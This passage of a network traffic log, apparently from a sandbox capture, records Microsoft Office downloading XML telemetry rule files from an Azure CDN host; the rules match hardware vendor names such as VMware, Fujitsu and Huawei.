2024-11-21 13:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132634Z-1777c6cb754xlpjshC1TEBv8cc0000000bag0000000072fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:33 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132634Z-1777c6cb754xlpjshC1TEBv8cc0000000b7g00000000em6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:34 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132634Z-1777c6cb754gvvgfhC1TEBz4rg0000000b6000000000c6w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:34 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:34 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132634Z-1777c6cb754xjpthhC1TEBexs80000000b0000000000a262 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132635Z-1777c6cb754n67brhC1TEBcp9c0000000b7g000000008wsa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:35 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132636Z-1777c6cb7549x5qchC1TEBggbg0000000b9g000000002prf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:35 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132636Z-178bfbc474bv7whqhC1NYC1fg400000001k0000000008faf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:36 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:36 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132636Z-178bfbc474bscnbchC1NYCe7eg00000001hg00000000pd4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:36 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132636Z-178bfbc474bxkclvhC1NYC69g400000001g0000000008es8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:37 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:38 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: b7984a43-301e-0051-7aa9-3b38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132638Z-r1d97b99577mrt4rhC1TEBftkc0000000ac0000000004nae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:38 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:38 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 94562d6e-b01e-0001-80db-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132638Z-r1d97b9957744xz5hC1TEB5bf80000000abg000000004pp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:38 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132638Z-1777c6cb754xlpjshC1TEBv8cc0000000b6g00000000gy92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49748	13.107.246.45	443

